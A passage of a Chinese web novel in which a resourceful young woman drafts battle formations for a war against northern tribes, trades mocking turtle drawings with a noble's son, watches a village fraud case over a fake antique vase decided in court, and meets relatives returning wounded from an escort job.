方泓犹豫了一下,一笑:“反正也不是什么秘密。” 他抿了一口茶:“朝廷之所以严重亏空,不仅仅是因为贪官污吏,还是因为大量养马。” “养马?” “是的,养马,你知道,步兵在骑兵的面前攻防都很脆弱,骑兵的铁蹄所到之处,势如破竹,步兵根本难以抵挡。” 乔镰儿道:“大泽国由于地势原因,是以步兵为主,但打起仗来,都是以大泽国胜利告终。” “可是每一次胜利都是惨胜,需要用上压过对方几倍的兵力,需要耗费大量的财力物力,每一次打胜仗,都会让大泽国元气大伤。” “除非能够碰上几十年难遇的足智多谋的大将,才能以少克多,以平打平,但是这样的良将难有啊。” “当然,大战之后,作为战败方的北方部落也要休养生息,距离上一次大战二十年,现在北方部落养得兵强马壮,新的一批儿郎成长起来,又进行部落联盟,会形成比以前更加强大的攻势。” “但前面吃了几次铁蹄南下的亏,大泽国已经提前在做准备,就在十年前,大泽国开始在平原地区养马,不断从周边各国收购马匹,到现在,官方养马场里的数量,已经突破五十万匹,马儿价贵,要想养得强壮,不仅仅靠平原上的草,还要喂食豆饼大麦等,以及购买专门的饲料,生病了也需要医治,这样一来,给大泽国的国库造成了严重的负担。” “因为养马的支出,国库不断亏空,甚至需要地方额外上供来贴补,现在二十个联盟在试探着南下,今上觉得马匹不够,还有继续购买好马,起码还需要购买二十万匹左右。” “所以你知道,为什么这样缺粮缺钱了吧,银子就不用说了,那些粮食,不仅仅是给士兵吃,还要供养马匹。” 乔镰儿听得触目惊心。 像大泽国掌控的中土地区,养马到二十万匹已经算是极其少见的大数量了,因为地形地势不具备养大量马匹的条件,现在这个数量正在向惊人的七十万匹逼近,又到了秋季,只怕草原上的草都不够吃的,更是需要银子,需要粮食。 而这些养马的负担,都分摊在全国普通的老百姓身上。 “既然养了这么多匹马,那骑兵也该训练起来了,这一次打仗,应该会胜利得比较快吧。” 方泓却有些忧心忡忡:“今上也是抱着这样的想法,今上决定养马,何尝不是想速战速决呢,毕竟以前打仗,至少需要用上半年时间,甚至三五年都有。” “只是北方部落知道大泽国在养马,他们也大量畜养马匹,训练出了更加精壮的骑兵,为了抵御大泽国的骑兵加步兵,他们甚至二十个部落联盟,这一次怕也是打得艰难呀。” 乔镰儿也是半天不语。 她在脑子里好好地整合了一下看过的历史书籍,自言自语就念出来。 “对付骑兵,可以靠驽阵,车阵,步兵方阵,再配上各种工具,比如钩枪,绊索,斩马刀,大斧,配合得当,铁蹄大军也会忌惮三分。” 方泓有些不敢相信地看着乔镰儿,没想到这个丫头懂这些。 “是有这些方阵,工具也有几十种,大泽国以步兵为主,在这方面的攻防经过了千年的摸索,经验还是很丰富的。” “今上的意思,是再配合大量的骑兵,会赢得更加快,不至于像以前那样持久地消耗。” “但问题是这一次北方二十个部落联盟,兵力不下八十万,而且主要是骑兵,什么时候才会结束,谁也说不定。” 乔镰儿念头一动:“方叔叔,我给你写几个阵法吧。” 第230章 另一封让她生气的信 方泓又是一阵惊讶,刚才乔镰儿说出的那些,不过是已知的常识,只是她生在南国这种比较闭塞的地方,让他有点意外。 没想到,她还懂阵法。 他想要问,可是看到女孩一双黑眸里的坚定和聪睿,他觉得不该质疑。 “好,我去取来笔墨。” 看着方泓起身离开,乔镰儿的手指敲着桌子,也没有了什么喝茶的心思。 二十个部落联盟,兵力八十万,要是大泽国不能尽快地赢,后面老百姓真的要生活在水深火热之中。wWW.xszWω㈧.йêt 而她也不要想好好地做生意了。 大战跟前,关乎每一个人的命运。 她好好地复盘了一下,那些在历史上起过大作用的阵法。 比如戚继光创的三才无量阵,诸葛亮创的八门锁金阵,其中含有八个小阵,很是复杂,难以对付,以及韩信创的八面埋伏阵,武侠小说里的七星北斗阵,还有四门兜底阵,五虎群羊阵…… 每一种阵法,都需要结合不同的情形使用,把天时地利人和配合到最恰当,会发挥事半功倍的效果。 方泓取了笔墨纸砚来,又跟小二要了清水来磨砚。 等到磨好了,乔镰儿蘸了墨,在展开的纸上,行云流水地写下来,还绘出相应的阵法图。 字体飞扬灵动,阵法图也是画工的水平,很是精美。 她眼眸沉定,小小的身体,散发出一种气吞山河的气势。 方泓简直看呆了。 这世间居然有这样的奇才。 他又有些可惜,要是两位公子在场就好了,镰儿姑娘这样稳操胜券的底气,这样挥洒间掌控一切的笃定,大公子二公子看到了,不知道会有多惊艳。 乔镰儿一口气,写了十个阵法。 “像这个四门兜底阵,按照北玄武,南朱雀,西白虎,东青龙,四个方向排列阵型,将敌人包围其中,有的方位用火攻,有的方位排骑兵,有的方位摆上弓弩阵——” “这个二龙出水阵,兵分两路而来,突袭夹击,可灵活牵制两头,又可以联合形成强大的抗敌部队,分开又交错,敌人完全捉摸不透。” “如果实在是需要防御,就用六丁六甲阵,这是茅山道教最主要的阵法,当然,这个尽可能在不得已的情况下用。” 乔镰儿把笔收好:“好了,方叔叔,你想办法送到作战将军的手中,他们经验丰富,会根据不同的情况选择不同的阵法,从而让效果发挥到最大。” 一大张宣纸上,都写画满了东西,密密麻麻的。 乔镰儿的手都酸了,揉着手脖子。 方泓把这张大图纸捧起来,犹如捧着一件瑰宝。 每一个阵法的实操,具体用法,都在上面写得详尽。 “乔姑娘,我虽然不懂排兵布阵,但是和几位将领有交道,他们常用的那些阵法,都没有你写下的这其中一种,即便有相似的,却也没有这样的攻防严密,而且他们的阵法,不少已经过时。” “如果他们觉得适合采用,便是你的机缘,我希望这些阵法图,能够在作战中发挥大用。” 虽然乔镰儿是女流,但如果皇上知道,她的阵法带来了助攻,绝对不会亏待她。 这小丫头,她的好日子在后头呢。 当然,这样的话,方泓不会提前说,这些阵法图会不会被那些将军采用,能不能帮助大泽国的军队打胜仗,他也不能打包票,只能说试一试吧。 如果失败了,就说是从哪一个高人那里得到的,碰一碰运气。 如果成功了,就说是乔镰儿的功劳。 把宣纸放在炉子旁烤干,方泓好好地折叠起来,然后郑重地放在里衣袖子的内袋里。 他好像想到了什么,脸上有些挣扎。 “乔姑娘,有一件事,我不知道该不该对你说。” “啊?方叔叔,你不用跟我客气。” “还有你的一封信。”不知道为什么,说到信这个字的时候,乔镰儿好像发现,方泓的脸上有一抹憋不住的笑。 “信?谁写来的呢。” “这封信随意塞在竹筒里,也没有封泥,我收到的时候,打开看了一眼。” 方泓说着,忍不住低下头笑了起来,笑得肩头抖动。 “方叔叔你没事吧。”乔镰儿寻思着,方泓正正经经的一个人,咋会变成这个样子呢,难道是受了什么刺激? “没事,我没事,小丫头,我好着呢,是小公子太调皮了,竟然邮寄这种东西到这里。” 方泓摆着手。 他这样说,乔镰儿更是好奇了:“方叔叔,裴小公子本来就有点玩世不恭,他写什么我都没关系的。” 等到方泓终于笑够了,从另一个口袋里摸出一封信。 “乔姑娘,等我走了你再看吧。” 他有点担心,要是现在就看了,乔镰儿会不会想要打他? “好。”乔镰儿接过来,也不急着打开。 该说的说得差不多了,茶也喝了两杯,方泓告辞离去。 他快要上马的时候停下来:“乔姑娘,你都准备好了吧。” “准备好了。”乔镰儿点头。 “好,如此我回去对公子也有个交代。” 目送方泓离去,消失在这条街的尽头。 乔镰儿低下头来,打开了手上的这封信,上面没有什么文字,只是画了个图。 不过等她看清楚那个图,脸色顿时隐隐发青。 “裴祝锦,你这王八蛋。” “这样搞我,你父亲母亲知道吗?” 给她画一个王八图,说她是王八对吧? 而图上的这只王八,正咧开嘴笑呢,好像在嘲笑她一样。 不能就这样放过他,乔镰儿赶紧解下大红,赶着马车朝方泓追过去。 方泓刚刚出城,就听到身后乔镰儿在喊他。 一回头看到乔镰儿连马带车地追来,而且一脸的怒意。 方泓就知道,乔镰儿看信了,事情比较严重。 这是来找他算账了? 他不但没有停下来,反而策马快跑起来。 “方叔叔,你等等我,我要你转交一样东西。”乔镰儿着急地喊道。 方泓才不相信,女人骗人的话术可多了,缰绳可劲可劲地往马儿身上抽。 第231章 画个王八塔寄回去 乔镰儿就不明白,方泓为什么看到她像看到鬼一样。 难道她有这么吓人吗? 眼看着方泓越跑越远,而大红还拖着一辆马车,是无论如何也追不上方泓的。 乔镰儿干脆说:“方叔叔,我肚子痛,要晕过去了。” 方泓放慢了速度,不相信地往后看,寻思着这小丫头跟他耍诈呢。 就看到乔镰儿已经停下来了,正低头捂着肚子,似乎真的很痛苦的样子。 方泓叹了一口气,又重新骑着马回来了。 刚才一番推心置腹,他是把乔镰儿当成朋友的,再加上这小丫头惊才绝艳,他可不能让这样的人才有啥损失。 “乔姑娘,你这没事吧,好点了没有。” 乔镰儿跳下车轼,把方泓的马儿牵到一棵树边拴好。 方泓:“……” 意识到被这小丫头骗了,他一拍脑门:“我就知道,你这丫头古灵精怪的,怎么可能真的肚子痛。” 他认命似地叹了口气。 “我既然回来了,就任你骂任你打吧,我就不该把小公子写的信交给你,唉。” 乔镰儿这才明白,方泓奔逃,是觉得她会因为这件事收拾他?尛說Φ紋網 “方叔叔,我可没这样想,我真的是让你帮我转交东西。” 见她一副认真的样子,方泓意识到,自己是以小人之心度君子之腹了。 也是,乔姑娘这样深明大义,怎么会在意那些细枝末节呢。 估计那张乌龟图看了,就一笑而过。 “好,你让我转交什么,只管交给我。” 乔镰儿又让方泓取来笔墨纸砚。 “方叔叔,你等我一会儿。” 乔镰儿拿着笔墨上了马车,写写画画,一个王八塔跃然纸上,大王八之上,还驮着小王八,越往上越小,一共八个王八,每一个王八都是不同的表情。 有的翻着白眼,有的在撇嘴,有的在做鬼脸,有的头顶一团怒火,有的干脆是瞎眼…… 她找了一下空间仓库,有那种颜料笔,就把这些王八都涂成了绿色。 然后乔镰儿题了一行字:裴祝锦世世代代是王八。 乔镰儿拿着画下来:“方叔叔,你觉得跟你家小公子画的比起来咋样。” 方泓看到宣纸上的王八塔,差点没把刚才喝的茶水喷出来。 “哈哈哈——”愣了一瞬之后,他突然大笑了起来,笑得弯下了腰,捂住抽痛的肚子。 原来肚子疼的人不是乔镰儿,而是他。 “乔姑娘,我都不知道,你竟然这样幽默。” “就拜托方叔叔帮我这个忙了。” 方泓笑了好一会儿才停下来,这件事情一来一去的,怎么就这样有趣呢。 但是要不要帮这个忙,他还是要好好考虑一下。 万一到时候,又变成小公子追着他打呢。 “方叔叔,如果小公子问起,你就说是我逼迫你带去给他的。” “行吧,我给你带。”方泓笑着摇头:“乔姑娘, 该说不说,你和小公子就像是冤家。” 把乌龟图收起来,方泓解开了马。 “乔姑娘,这回我真的走了,你不要再追我了啊。” “放心啦,我可没有那么无聊。”乔镰儿对方泓挥手。 三天过去,乔老太和乔老头的脖子越伸越长。 “已经十天过去了,咋还不见人影呢。” “爷,奶,我和娘还有大伯母,吱吱姐,去县城接他们。” 乔镰儿赶着马车准备出发,乔云妮她们也换好了衣服。 “成,你们去县城等,不是今天也是明天回来,最晚也是后天,也就几百里路,距离不算太远。”乔老太点头。 不知道为什么,她这几天总是在做噩梦,眼皮也跳得慌。 只希望梦跟现实是反的,她担忧的事情都不要发生。 乔镰儿本来可以一个人去,或者只叫上乔吱吱,之所以带那么多人,是为了给凌家助阵。 确定好了日期,就是今天。 马车上,大家怀着期待,又带着几分紧张。 等到了咏关县,还没有看见杨老大他们回来。 只见街上有些人脚步匆匆的。 “快点快点,去晚了就找不到位置看了。” “事情传了几天了,总算上了公堂。” 就有人在问他们:“咋回事,你们都要去干嘛,是不是哪里有热闹看。” “就是那一桩,凌家村的恶霸想要强抢民女,拿一个说是古董的瓷器下套,威胁人家把女儿嫁过来,现在凌家人把那个瓷器的碎片抢了来,到了公堂上,请求县老爷找人做鉴定呢。” “啊,上公堂了,原来这是真的,我们也去看看。” 然后越来越多的人往县衙门跑。 最前方,还能看到阿大他们在引领。 “咱们也去看看吧。”乔镰儿说。 “凌家村,可不是音丫头在的那个村子,他们村里竟然出了想要强抢民女的恶霸?”冯氏吃了一惊。 “是呢大伯母,听说就是凌音姐姐那个村子的。” 冯氏脸上多了几分愤怒:“有这种人的存在,岂不是吓到音丫头了,连出门都要担心。” 为了抢一个好一点的位置,乔镰儿加快了速度。 等到了县衙门门口的时候,把别人都远远甩在了后头。 公堂的门大敞开,隔着一个院子,面向街道。 院子里已经站了不少人。 乔家人进到院子里,就看到凌老三,秋氏,凌音,史老二跪在公堂下面。 史真香也来了,不过他是瘫在担架上的,披头散发,脸色苍白如纸,样子又呆又傻,可他还是拼着仅有的两分神志,猥琐地瞅着凌音。 看清楚了凌家人,冯氏吓了一跳。 “这,这不是秋家妹子和凌丫头吗?” “怎么,怎么——” “大伯母,就是她们,就等着县太爷给他们公道呢。” 冯氏又看了看放在他们前面的东西,是一块布里,包着瓷器的碎片,她很快就明白过来,心疼的目光,看向了凌音。 原来凌音就是那个被算计的姑娘。 站在两边的衙差不断杵着杀威棒,喊着威武,堂上县太爷正襟危坐,五十岁左右,一脸的冷峻。 咏关县的每一桩案件,都会公开审判,以示公正。 不断有人往院子里来,等到院子挤不下了,他们又守在外面的街道上,踩着石头凳子观看。 “肃静!”到时候了,县太爷一拍惊堂木。 第232章 开堂审理,鉴定师傅上场 “威武”的声音更大了,透着一种肃重的威严,闹哄哄的院子很快就平静下来。 “原告,你有何陈情?”县太爷看着凌家人。 史老二想说话,县太爷给他一记警告的眼神。尐説φ呅蛧 凌老三对着上头拱手:“县老爷,草民本是一个木匠,六月十三的那一天,史老二家的神龛坏了,叫草民去给他家修神龛,那神龛上原本没有放着这瓷器,趁着草民专心修神龛无知无觉,史老二把瓷器放在草民容易碰着的位置上,草民不小心碰到瓷器,瓷器掉落下来,摔成了碎片。” “史老二就说这瓷器是古董,是开过光的,值五十两银子,要我们家拿出五十两来赔偿,如果半年之内还不上,就得把我家音丫头嫁过去,给史真乡做媳妇。” “草民怀疑,这瓷器是假的,根本就不值五十两银子,史老二家是在对我们凌家下套,故意坑我们凌家的姑娘。” 县太爷看向了史老二:“史老二,凌老三说的可是真的?” 史老二哼了一声:“有真有假,凌老三在故意混淆大人的视听呢。” “凌老三打坏瓷器是真,开过光是真,我们史家也的确是要求赔不起的话,就把凌音嫁过来做儿媳妇,至于故意下套,那就是冤枉草民了,就是他凌老三不长眼睛,把草民家的好瓷器打坏,这可是草民家里的镇宅之宝,草民想到五十两银子他家可能赔不起,才提出到时把女儿嫁到史家来,要说村子里面娶媳妇,哪个姑娘家值五十两?草民这已经算是仁义仁慈了。” “这个瓷器,值不值五十两还不一定呢,多少钱都是你们家张口就说。”凌老三说:“大人,如果放任这种现象,岂不是人人都可以拿一样不值钱的东西去坑害别人,这样世风岂不是乱了。” 县太爷看着史老二:“你家这瓷器真是古董,真的值五十两?” 史老二有点心虚,但是一想这个又不能鉴定出来,只要他一口咬定是多少就是多少,县太爷也没辙。 “五十两都还少了呢,起码值个八十两,是我们史家看在乡里乡亲的份上,这才少要了一小半。” “偏偏他凌家不知足,反咬一口,说我们坑害他们家,大人,请您给史家一个公道啊。” 县太爷对一边的师爷吩咐:“去把梁师傅请来,好好鉴它一鉴。” 公堂之上,总有为损害之物争执的情况,为了确定价值,府里就养了一个专门的鉴定师。 史老二愣了一下,还有鉴定人? 他以为,值不值这个价,全看县太爷的判断,他一口咬死,县太爷也得认。 他的心提了起来,脸上露出了些许慌张,却强装镇定。 在这个空档,县太爷又看向了史真乡:“这位又是什么情况?” “你们凌家上公堂,要求也传唤这一位病患,是为何故?” “大人,是这样的,这位史真乡,正是史老二的儿子,是史家要我家丫头嫁的人,就在前些天,史真乡被人废掉了,这辈子无法生育,我家丫头是断断不能嫁给他的。”秋氏说。 县太爷让衙差去看情况。 史真乡被史老二送去医馆子各种折腾,现在已经在发炎流脓,散发出一阵恶臭。 衙差看了一眼,就捂着口鼻连退几步,他的肚子里翻江倒海,好半天才说出话来。 “禀县太爷,是彻底残废了,哇,呕——” 衙差冲了出去。 公堂外的人们一阵哗然,还以为这是误传的消息,男人这么重要的东西,怎么会说废就废呢? 既是真的,那就更不能嫁了,不管瓷器是真的是假的,都不能嫁过去。 冯氏嫌弃地看着史真乡,忍不住捏住了鼻子,这一看就知道是个脑袋不正常的,长得又丑,还做不成男人了,连她儿子的一根手指头都比不上。 还想来染指音丫头?简直是亵渎。 见史真乡猥琐地盯着音丫头,不知道在想什么,嘴角边差点流下口水,冯氏目光一冷,摸了摸腰上缠的绳鞭。 “大伯母,再等等吧。”乔镰儿按住冯氏的手,笑道。 “哼,我这心里就压着一口气,非要出出来不可。” 看到儿子的老底被揭穿了,史老二的脸就成了猪肝色,怒道。 “谁说废掉的男人不能娶妻了,哪条律法规定的,娶妻不仅仅是为了传宗接代,也是为了照顾公婆,分摊一个家的辛苦,不能生孩子了,把其他的本分做好,也是一个好媳妇。” “再说,我家真乡,万一哪一天治好也不一定。”史老二说这话的时候,眼珠子狡猾地转了一转,流露出一些猥琐的意思。 见他这样恬不知耻,大家又是一阵哗然,纷纷指责起来。 不知道谁喊了一声“不要脸”,其他人也异口同声跟着喊了起来。 “不要脸,不要脸!” 县太爷冷冷地看着眼前的一切,也不出声制止,何止是围观的人,他自己都看不过眼。 审了那么多桩案件,像这样不要脸没底线的,还是头一遭见。 倒也不是案未决先判定,他见了太多的人了,哪些人是老实的,哪些人是有心思的,他一眼就能辨别。 梁师傅很快就来了,大家的声音慢慢小了下来。 “梁师傅,史家成说这些碎片是古董,你倒是看看,是什么价值的古董。”县太爷道。 一看那些碎片,这位六十多岁的鉴定师傅心里面基本上就有数了。 不过梁师傅还是拿起来端详。 史老二赶紧说道:“梁师傅,你好好看,这可是三百年以上的老古董啊,去寺院开过光的,还被一些达官贵人收藏过呢。” “你千万不能看岔了,免得耽搁了你的名声。” 梁师傅嘴角边多了一丝冷笑,县太爷跟前,还有人想威胁他? “放心,我的名声没有那么好耽搁。” 他也懒得再做样子了,给大家宣判结果:“各位,这就是个普通窑子烧出来的四等品,大概是去年的货。” “果然是假的,果然是凌家给人下套,听说过千年古董,也听说过三五百年的,没听说过一年的。” “哈哈哈哈,太好笑了吧,自己儿子娶不到老婆,就用这样的下三滥招数。” “师傅,这个瓷器值多少钱啊?”又有人问。 梁师傅道:“值个五十文钱吧。” 第233章 带走,苦役五年 五十文钱的东西,说是价值五十两,直接差距一千倍。 这件事情是什么样的性质,现在不用说了。 “不是的,这真的是古董,真的值五十两,县太爷,这位师傅看不准,瞎说一通。”史老二慌了,指着梁师傅就骂。 “死老头子,你活腻了,竟然敢空口白牙诬陷我的古董作假。” “你当我史老二是好惹的,信不信我一拳送你归西。” “大胆。”县太爷怒斥:“尔等敢在公堂上放肆,拖下去,藐视本官,拖下去,打二十个板子。” 立刻有衙差过来,把史老二给按住,又拖了下去。 不一会儿,就传来阵阵的哀嚎。 然后史老二又被扔到公堂上,他后背都是血,痛得直哼哼,趴在地上快要爬不起来,接触到县太爷冷峻的眼神,又挣扎支撑着跪在地上。 显然是知道大势已去,他低着头,浑身都是颓丧。 到这里,这件案子可以宣判了。 县太爷道:“史家利用普通的瓷器冒充古董对凌家下套,胁迫凌家嫁女,是威逼勒索,史家对凌家的主张不成立,县衙不予支持,史老二夫妻罚徒刑三年,明天就押送到矿山去,其他史家人做帮凶的,罚徒刑一年。” “史真乡形状痴傻,不予定罪。” “至于凌家,赔偿史家五十文钱。” 公堂门外,大家拍手称快。 乔镰儿看到了几张和凌老三有点相似的脸,应该是凌音的伯伯叔叔们,还有其他的亲戚发小也来了一大堆。 史家人也来了不少,他们相反的意见被淹没在一边倒的人声鼎沸之中,经过凌家村人的指认,史老二的老婆和史老三也被衙差按住了,还有史老大,被人告发是和史老二一起商量的主意,也被带走。 看着史家人一个接一个被押走,大家只觉得十分的解气。 徒刑比徭役要惨得多,动辄打骂不给饭吃,每天劳动时间长,能不能回来还不一定呢,就算回来也丢了半条命。 等县太爷离了公堂,冯氏捋顺了手上的鞭子,冷笑一声:“还不够痛快。” 就看到冯氏冲了上去,鞭子对着史老二和他老婆的背上狠狠抽打下来,抽得两人嗷嗷大叫,可是衙差押着,却不能闪躲。 特别是史老二,刚才被打了板子,鞭子抽下去,差点把他抽晕掉,站都站不住,只能被拖着拽着。 冯氏一鞭子一鞭子抽下去,每个人身上抽了七八道,衙差才出言制止,然后拽着人加快脚步走了。 凌音不敢相信地看着这一幕,这不是乔家伯母吗?这是给她出气来了? 她的心中一阵感动,眼睛有些红彤彤的。 凌家人也很惊讶,秋氏惊叫了一声:“冯大姐。” 冯氏意识到刚才她被冲昏了头脑,有点失态了,摸着鞭子不好意思对大家笑了笑。 “抱歉,我就是有点看不过去,毕竟这种事情,天怒人怨嘛。” 而秋氏飞快转了转脑子,冯氏这样护着凌音,又一身的武力值,如果音丫头嫁到乔家去,谁能欺负得了她? 在场的史家人,抬着史真乡回去。 史家一下子被带走这么多人,他们一个个面如土色,就算心中有怨恨,可现在凌家人这样团结,他们也是不敢造次的。 “呸,废了就废了,还想着娶媳妇,早点死了才好呢,臭傻子,活该断子绝孙。”凌音的一个堂兄骂。 一看到史真乡看凌音的眼神,他就感到恶心。 “再惦记我堂妹,我就把你的眼睛挖出来。” 史真乡再傻,也看得懂那种杀意,赶紧把头缩了起来。 而凌老二跟上去,把五十文钱扔到史真乡的身上。 摆脱了这一门亲事,凌音抱着秋氏,差点忍不住喜极而泣。 “大家跟着来一趟辛苦了,这就下馆子去,我们家招待。”凌老二对亲戚发小们说。 “哎,来了二三十号人,还是大家一起出钱吧。”凌老大说。 凌老四:“是啊,你们受了这么大的委屈,也是不容易的,一开始我们也对不起你们,以为你们真的太不注意,打碎人家价值这么贵重的东西,唉,不说了,都过去了,那么多家人在县城,大家每家每户出一点,你们在家已经招待过我们了,就别破费了。” “不行,大家一起到了县城来,给我们家助阵,我就决定了请大家下馆子好好吃一顿,花销大一点有啥,比起五十两来,比起把女儿嫁到那种人家,简直不要太轻松,大家偏要出那份钱,就是看不起我凌老三。”凌老三坚决地说。 秋氏和凌音也劝着大家。 见他们这样坚持,大家也就不好说什么了,只想着回到村里,也要请凌老三家吃饭。 乔家的人看在眼里,心想凌家人的气氛还是很不错的。 秋氏悄悄对凌老三说了一阵。 凌老三眼睛一亮,朝着乔家人走过来,热情道:“也谢谢你们来给我们家助阵,我媳妇说,前面就和你们相熟了,是朋友,大家一起去吃饭吧。” “是呢,这件事情结束了,我们心里面那一块大石头不在了,大家热热闹闹吃一顿。”秋氏笑道。 凌家人眼角眉梢,都是轻松的笑容。 乔镰儿摇头:“不了叔叔婶子,我们家里人去外头做活要回来了,我们还要去接他们呢。” 凌音想着,一起去吃饭的都是凌家亲戚和发小,乔家人不认识他们,去了也显得有些不自在。 不缺那一顿饭的机会。 她张开手,把乔镰儿抱住,想着自己脱离了苦海,千头万绪,又是忍不住眼眶发红。 “谢谢你,镰儿妹妹,你救了我的人生,这辈子,我都会铭记。” “好了镰儿姐。”乔镰儿对她笑笑:“小事一桩罢了。” 和凌家人分别,乔镰儿就赶着马车去城门口,大伯他们回来的时候,会经过这里。 这里就有一家饭馆子,大家一边吃饭一边观察外头。 等吃了饭不见人,又到城门外去等。 半个下午过去了,乔云妮嘀咕:“怕是要明天才回来呢。” “嗯,太阳下坡的时候,如果等不到人,我们就先回去,明天再来。”乔镰儿说。 她不用担心去衙门的时候错过。 因为杨老大和杨老二要和城里的兄弟接应,还要歇脚吃饭啥的,大伯他们到了县城,是不会忙着回去的。 凌家的案子结得快,而她出来城门的时候,已经把他们接应的酒楼看过了。 城门外,除了通往各个方向的路径,便是大片大片的田野,大部分种稻子,正在收割,有的用来种菜。 乔镰儿似乎看到一样有点眼熟的作物,就下了田野去。 第234章 回来了,情况很不妙 走近一看,是土豆苗子,已经长了三寸长,绿茵茵一片,正在风中微微飘摇着。 一时间,乔镰儿有点愣神,在这个世界,怎么会有土豆苗子? 她很快意识到,这是那些人跟她买的食材,拿来种上了,而且还种了不少,放眼望去,起码种了四五亩地,已经形成一定的规模。 乔镰儿又顺着田间走,又看到了一块田里,长出了辣椒苗子,继续找,还有花生苗,玉米苗,红薯藤,虽然有的不应季,但是都长出来了,在南国这种湿热光照强的地方,长得还不错。 或许过不久,番茄苗也长出来了。 就算蔡老板没有这个心思,酒楼里的伙计呢,杂役呢,厨子呢?那么多的人。 乔镰儿的心情染上了几分低沉。 “镰儿妹妹,你在看啥呀。”乔吱吱跟了过来。 她在马车那儿守着太闷了,随处走走,散散心。 “你看这些苗子。” “嗯,这种的是啥?” “土豆,玉米,花生,辣椒。” 乔吱吱也很快反应过来了,她的眼睛睁大了,着急地说道:“那等这些作物长大,我们家还咋卖食材呀。” “是的,卖不了了。”乔镰儿的心情却逐渐平静下来。 “镰儿妹妹,那咋办呀?咱们家主要就靠这个挣钱呢。” 看着乔吱吱紧张的样子,乔镰儿的手放在她的肩头上。 “吱吱姐,这是必然会发生的事情,我们卖出去的不仅仅是作物的果实,还是种子,有了种子,为了也挣这个钱,肯定会有人拿来种。” “县城的百姓生意脑子活络,或许有的人就是买来做种,其他的人看到也会跟上,会有越来越多的田地种这些作物,然后向附近传播,越传越远,随着产量的增加,这些作物不再是稀缺品,价格也会降下来。” “那我们以后——”乔吱吱心情很难受。 “放心,天无绝人之路,不卖这些还能卖别的,趁着别人没有种起来,大赚一波。” 乔镰儿知道,只要是卖作物,不管是卖什么,都只能做一阵子的生意,过后别人会把作物种起来。 这些东西,好吃好用,突然临世宛如天降珍宝,只要有一粒种子,都会传播开去,就像一点火苗一样,飞快燎原,形成大片大片的火光。 也不知道这些苗子长大之前,北方的战争能不能结束,要是尽快结束的话,她还能再赚一笔。 仗打完了,天下太平了,她还能卖稻子,怎么想都不会绝她的路。 见乔镰儿眉眼间的笃定,那是一种胸有成竹的把握,乔吱吱的心也定下来了。 这个家到现在已经很好了,镰儿又是满脑子的主意,家里人个个能干,怕啥。 一抬眼,乔吱吱看到了几辆马车,从远处的路面上驶过来。 “镰儿看那儿。”她伸手一指。 等到近一点了,可以看到,赶车的是杨老大和杨老二,还有乔老大。 可是大路平坦,马车行驶得缓慢,乔镰儿心头微微一紧。 赶紧拉着乔吱吱的手,回去大路上。 女人们也看到了,都站了起来,朝马车张望着,期待中夹杂着紧张。 马车在大家跟前停下了,乔老大脸色不太好,好像带着一抹沉重。 “你们怎么都来了。”他似乎不希望大家出现在这里。 “问这种话,不是来接你们吗?大家早上来,一直等到现在。”冯氏说着,看向马车厢:“这一趟顺利吧,都好好的吧。” “都好,不过事情没有结束,我们还要在县城留几天,你们先回去吧。” 乔老大见冯氏要去开马车门,就跳下来把她拉住。 马车里静悄悄的,按理来说,这个时候知道家里人来了,乔家男人应该会下马车和家人团聚,可是却静得有点诡异。 这让大家的期待变成了焦虑。 乔镰儿看向杨老大:“杨叔叔,出什么事了吗?他们都回来了吗?” 杨老大的脸上有些不自在,但他尽量做出一副轻松的样子:“都在马车里呢,都回来了,正如你大伯说的,镖局在县城还有事,需要你们乔家男人留下来处理。” “有事情需要他们,他们当然要留下的,但是我们要先确定他们的状况。”乔云妮坚决说。 “家里二老等着呢,要对家里二老交代。” “妹妹,没事的,我们都好好的。”马车里传出乔老三的声音,倒是中气十足的。 “是啊,还要进城里,我们就不下马车了,现在快要到傍晚了,你们先回家吧。”这是乔老二的声音,也听不出什么来。 可还是让乔家女人觉得不正常。 “既然没有事,那就打开马车门,让我们看一眼。”冯氏推开了乔老大的手:“大用,开门。” 马车里寂静了数秒,另一个马车里小猛开口:“小姑,你们就放一万个心吧,大家真的一点事都没有。” 乔镰儿听出来了,小猛的声音像是强撑出来的。 “大用,你给我说话。”冯氏的心乱了:“你怎么不说话。” “好了,都让你回去,大用那么大一个男人,你还怕他不能顾好自己了。”乔老大皱起了眉头,可是眼底却流露出几分沉痛。 多少年的老夫老妻了,冯氏又怎么会错过他这样的神情? “大用,我的大用。”冯氏扑向了马车门,推攘着门框,可是好像从里面被抵住了,怎么推都推不开。 冯氏急得大哭了起来。 杨老大和杨老二对视一眼,他们都选择了沉默。 这个主要是看乔老大的意见。 可是乔老大请求过他们,不要让家里人看到马车里的情况。 “哥哥,你快快门。”乔吱吱对大成说。 大成就是抵着门的那个,一脸的为难,大伯没有发话,他怎么敢把门打开。 冯氏见打不开门,抓着乔老大打了起来,拳头像雨点一样,毫不留情落到他的身上,打得砰砰响。 “你个死乔老大,大用是我生的,他现在连个声音都没有发出来,我想看看他你都不让,这到底是啥意思?你到底有啥事瞒着我?” 乔老大也不反抗,低下了脑袋,显得很沮丧,乔家人都是直来直去的性子,要他骗人,这样的演技,哪里能够让人信服? 第235章 奄奄一息 杨老大见这样闹下去不是办法,而且眼下的情况也的确耽搁不得。 他皱眉道:“他弟妹,事情有点着急,你们还是不要拦着了。” “啥有点着急?”冯氏的心更是悬了起来。 杨老大不知道怎么跟她说,他也是头疼得很。 乔家的女人可不好对付,没有个交代,她们是不会回去的。 “大伯,如果真的有啥情况,让我知道,可能后果会好一点。”乔镰儿开口道。 乔老大看向这个侄女,乔镰儿黑亮的眸子从容不迫,仿佛不管什么难关到了她的面前都能够化解。 行吧,反正冯氏和乔云妮已经把马车拦住不让走了,她们早晚也会知道。 他往后看了一眼。 “把马车打开吧。” 打车门打开了,冯氏第一个就冲了进去。 冯氏看到,躺在一个架子上的大用,浑身都是血,包扎了无数处,可是沁出来的血把那些缚布都浸湿染红了,而大用闭着眼睛,脸色苍白,昏迷不醒。 冯氏的心,好像被什么搅碎。 气氛仿佛一下子平静了下来,她颤抖着手伸过去,试探了一下大用的呼吸,呼吸微弱,但好歹有。 她大松了一口气,跌坐在马车厢里,怔怔地看着自己的儿子,泪水从双眼滑落。 另一个马车里,小猛在位置上靠着,上身没有着衣服,倒是裹了不少缚布,血迹斑斑,但是他的状态要比大用好不少。 但是经过了几天赶路,两人身上发炎,肿了不少。 其他人多多少少受了点伤,大成的额头上也包着缚布,乔老二的胳膊吊了起来,乔老三的一条腿受伤了。 可以想象,在夔牛国山道上的战况有多么激烈。 